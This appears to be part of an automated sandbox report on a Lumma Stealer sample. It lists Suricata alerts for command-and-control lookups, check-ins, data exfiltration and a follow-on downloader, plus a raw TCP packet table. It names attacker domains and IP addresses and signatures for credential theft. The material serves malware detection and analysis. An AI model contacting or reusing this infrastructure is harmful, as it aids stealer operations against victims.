Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x53058	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-10T05:46:59.685393+0100	2057921	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)	1	192.168.2.5	54559	1.1.1.1	53	UDP
2024-12-10T05:47:01.210142+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49704	104.21.16.1	443	TCP
2024-12-10T05:47:01.210142+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	104.21.16.1	443	TCP
2024-12-10T05:47:01.949468+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	104.21.16.1	443	TCP
2024-12-10T05:47:01.949468+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	104.21.16.1	443	TCP
2024-12-10T05:47:03.256368+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49705	104.21.16.1	443	TCP
2024-12-10T05:47:03.256368+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	104.21.16.1	443	TCP
2024-12-10T05:47:04.296722+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	104.21.16.1	443	TCP
2024-12-10T05:47:04.296722+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	104.21.16.1	443	TCP
2024-12-10T05:47:05.810974+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49706	104.21.16.1	443	TCP
2024-12-10T05:47:05.810974+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	104.21.16.1	443	TCP
2024-12-10T05:47:08.131678+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49707	104.21.16.1	443	TCP
2024-12-10T05:47:08.131678+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	104.21.16.1	443	TCP
2024-12-10T05:47:10.624085+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49708	104.21.16.1	443	TCP
2024-12-10T05:47:10.624085+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	104.21.16.1	443	TCP
2024-12-10T05:47:13.282215+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49709	104.21.16.1	443	TCP
2024-12-10T05:47:13.282215+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49709	104.21.16.1	443	TCP
2024-12-10T05:47:14.035854+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49709	104.21.16.1	443	TCP
2024-12-10T05:47:15.735912+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49710	104.21.16.1	443	TCP
2024-12-10T05:47:15.735912+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49710	104.21.16.1	443	TCP
2024-12-10T05:47:21.444490+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49716	104.21.16.1	443	TCP
2024-12-10T05:47:21.444490+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49716	104.21.16.1	443	TCP
2024-12-10T05:47:22.157981+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49716	104.21.16.1	443	TCP
2024-12-10T05:47:23.730161+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49723	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 05:46:55.626621962 CET	49674	443	192.168.2.5	23.1.237.91
Dec 10, 2024 05:46:55.629710913 CET	49675	443	192.168.2.5	23.1.237.91
Dec 10, 2024 05:46:55.720312119 CET	49673	443	192.168.2.5	23.1.237.91
Dec 10, 2024 05:46:59.990078926 CET	49704	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:46:59.990101099 CET	443	49704	104.21.16.1	192.168.2.5
Dec 10, 2024 05:46:59.990171909 CET	49704	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:46:59.992577076 CET	49704	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:46:59.992590904 CET	443	49704	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:01.210031986 CET	443	49704	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:01.210141897 CET	49704	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:01.214015961 CET	49704	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:01.214024067 CET	443	49704	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:01.214231014 CET	443	49704	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:01.267167091 CET	49704	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:01.274090052 CET	49704	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:01.274104118 CET	49704	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:01.274159908 CET	443	49704	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:01.949471951 CET	443	49704	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:01.949567080 CET	443	49704	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:01.949640036 CET	49704	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:01.954214096 CET	49704	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:01.954226017 CET	443	49704	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:01.954245090 CET	49704	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:01.954248905 CET	443	49704	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:02.042572021 CET	49705	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:02.042598963 CET	443	49705	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:02.042670012 CET	49705	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:02.043199062 CET	49705	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:02.043212891 CET	443	49705	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:03.256287098 CET	443	49705	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:03.256367922 CET	49705	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:03.278644085 CET	49705	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:03.278656960 CET	443	49705	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:03.278862000 CET	443	49705	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:03.280797958 CET	49705	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:03.280824900 CET	49705	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:03.280855894 CET	443	49705	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:04.296689987 CET	443	49705	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:04.296746969 CET	443	49705	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:04.296782970 CET	443	49705	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:04.296807051 CET	49705	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:04.296823978 CET	443	49705	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:04.296869040 CET	49705	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:04.296875000 CET	443	49705	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:04.304657936 CET	443	49705	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:04.304719925 CET	49705	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:04.304725885 CET	443	49705	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:04.313040018 CET	443	49705	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:04.313091040 CET	49705	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:04.313097000 CET	443	49705	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:04.321357012 CET	443	49705	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:04.321414948 CET	49705	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:04.321420908 CET	443	49705	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:04.360899925 CET	49705	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:04.416047096 CET	443	49705	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:04.470360994 CET	49705	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:04.488328934 CET	443	49705	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:04.492440939 CET	443	49705	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:04.492522955 CET	443	49705	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:04.492532015 CET	49705	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:04.492588043 CET	49705	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:04.492733002 CET	49705	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:04.492743969 CET	443	49705	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:04.492754936 CET	49705	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:04.492758989 CET	443	49705	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:04.599942923 CET	49706	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:04.599966049 CET	443	49706	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:04.600050926 CET	49706	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:04.600397110 CET	49706	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:04.600410938 CET	443	49706	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:05.235987902 CET	49675	443	192.168.2.5	23.1.237.91
Dec 10, 2024 05:47:05.235991001 CET	49674	443	192.168.2.5	23.1.237.91
Dec 10, 2024 05:47:05.329761982 CET	49673	443	192.168.2.5	23.1.237.91
Dec 10, 2024 05:47:05.810857058 CET	443	49706	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:05.810973883 CET	49706	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:05.812264919 CET	49706	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:05.812274933 CET	443	49706	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:05.812475920 CET	443	49706	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:05.813592911 CET	49706	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:05.813729048 CET	49706	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:05.813756943 CET	443	49706	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:06.761445045 CET	443	49706	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:06.761543989 CET	443	49706	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:06.761612892 CET	49706	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:06.761739016 CET	49706	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:06.761755943 CET	443	49706	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:06.884802103 CET	49707	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:06.884830952 CET	443	49707	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:06.884927034 CET	49707	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:06.885243893 CET	49707	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:06.885258913 CET	443	49707	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:07.754363060 CET	443	49703	23.1.237.91	192.168.2.5
Dec 10, 2024 05:47:07.754492044 CET	49703	443	192.168.2.5	23.1.237.91
Dec 10, 2024 05:47:08.131552935 CET	443	49707	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:08.131678104 CET	49707	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:08.133078098 CET	49707	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:08.133086920 CET	443	49707	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:08.133285046 CET	443	49707	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:08.134588957 CET	49707	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:08.134819031 CET	49707	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:08.134848118 CET	443	49707	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:08.134932995 CET	49707	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:08.175321102 CET	443	49707	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:09.025229931 CET	443	49707	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:09.025352955 CET	443	49707	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:09.025444984 CET	49707	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:09.026474953 CET	49707	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:09.026499987 CET	443	49707	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:09.412898064 CET	49708	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:09.412955999 CET	443	49708	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:09.413077116 CET	49708	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:09.413391113 CET	49708	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:09.413405895 CET	443	49708	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:10.623977900 CET	443	49708	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:10.624084949 CET	49708	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:10.625464916 CET	49708	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:10.625478029 CET	443	49708	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:10.625716925 CET	443	49708	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:10.627351999 CET	49708	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:10.627521992 CET	49708	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:10.627564907 CET	443	49708	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:10.627691031 CET	49708	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:10.627698898 CET	443	49708	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:11.774610996 CET	443	49708	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:11.774709940 CET	443	49708	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:11.774780989 CET	49708	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:11.774936914 CET	49708	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:11.774957895 CET	443	49708	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:12.070266962 CET	49709	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:12.070324898 CET	443	49709	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:12.070436954 CET	49709	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:12.070746899 CET	49709	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:12.070760965 CET	443	49709	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:13.282074928 CET	443	49709	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:13.282215118 CET	49709	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:13.284285069 CET	49709	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:13.284300089 CET	443	49709	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:13.284579992 CET	443	49709	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:13.285778046 CET	49709	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:13.285851002 CET	49709	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:13.285857916 CET	443	49709	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:14.035852909 CET	443	49709	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:14.035976887 CET	443	49709	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:14.036072016 CET	49709	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:14.036200047 CET	49709	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:14.036226034 CET	443	49709	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:14.524818897 CET	49710	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:14.524877071 CET	443	49710	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:14.524955988 CET	49710	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:14.525263071 CET	49710	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:14.525274038 CET	443	49710	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:15.735785961 CET	443	49710	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:15.735912085 CET	49710	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:15.739635944 CET	49710	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:15.739649057 CET	443	49710	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:15.739846945 CET	443	49710	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:15.741071939 CET	49710	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:15.741882086 CET	49710	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:15.741906881 CET	443	49710	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:15.742010117 CET	49710	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:15.742036104 CET	443	49710	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:15.742168903 CET	49710	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:15.742209911 CET	443	49710	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:15.742356062 CET	49710	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:15.742383003 CET	443	49710	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:15.742522001 CET	49710	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:15.742552996 CET	443	49710	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:15.742710114 CET	49710	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:15.742738008 CET	443	49710	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:15.742744923 CET	49710	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:15.742758036 CET	443	49710	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:15.742909908 CET	49710	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:15.742935896 CET	443	49710	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:15.742980957 CET	49710	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:15.743002892 CET	49710	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:15.743026972 CET	49710	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:15.743089914 CET	49710	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:15.783337116 CET	443	49710	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:15.783514977 CET	49710	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:15.783539057 CET	443	49710	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:15.783561945 CET	49710	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:15.783576965 CET	443	49710	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:15.783615112 CET	49710	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:15.783634901 CET	443	49710	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:20.160360098 CET	443	49710	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:20.160450935 CET	443	49710	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:20.160509109 CET	49710	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:20.218868017 CET	49710	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:20.218907118 CET	443	49710	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:20.230556011 CET	49716	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:20.230618000 CET	443	49716	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:20.230686903 CET	49716	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:20.231100082 CET	49716	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:20.231115103 CET	443	49716	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:21.444412947 CET	443	49716	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:21.444489956 CET	49716	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:21.446419954 CET	49716	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:21.446440935 CET	443	49716	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:21.446713924 CET	443	49716	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:21.455018997 CET	49716	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:21.455041885 CET	49716	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:21.455106020 CET	443	49716	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:22.157980919 CET	443	49716	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:22.158073902 CET	443	49716	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:22.158277988 CET	49716	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:22.158390999 CET	49716	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:22.158411980 CET	443	49716	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:22.158422947 CET	49716	443	192.168.2.5	104.21.16.1
Dec 10, 2024 05:47:22.158431053 CET	443	49716	104.21.16.1	192.168.2.5
Dec 10, 2024 05:47:22.225326061 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:22.344818115 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:22.345896959 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:22.346360922 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:22.465677977 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.730058908 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.730078936 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.730091095 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.730149984 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.730160952 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:23.730206966 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:23.730238914 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.730252028 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.730264902 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.730290890 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:23.730441093 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.730473042 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.730484962 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.730520010 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:23.730541945 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:23.730568886 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:23.850325108 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.850342989 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.850469112 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:23.922463894 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.922486067 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.922609091 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:23.926624060 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.926721096 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.926808119 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:23.935085058 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.935144901 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.935286045 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:23.943492889 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.943598032 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.943717957 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:23.951889992 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.952068090 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.952203989 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:23.960336924 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.960582018 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.960724115 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:23.968806982 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.968969107 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.969046116 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:23.977263927 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.977458000 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.977546930 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:23.985703945 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.985734940 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.985826969 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:23.994060040 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.994219065 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:23.994292021 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:24.002506018 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:24.002563953 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:24.002624035 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:24.114738941 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:24.114829063 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:24.114886045 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:24.117258072 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:24.117330074 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:24.117404938 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:24.122258902 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:24.122411013 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:24.122472048 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:24.127391100 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:24.127517939 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:24.127623081 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:24.132426023 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:24.132539034 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:24.132620096 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:24.139930964 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:24.139947891 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:24.140029907 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:24.142642021 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:24.142831087 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:24.142906904 CET	49723	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:47:24.146933079 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:24.147017002 CET	80	49723	185.215.113.16	192.168.2.5
Dec 10, 2024 05:47:24.147115946 CET	49723	80	192.168.2.5	185.215.113.16
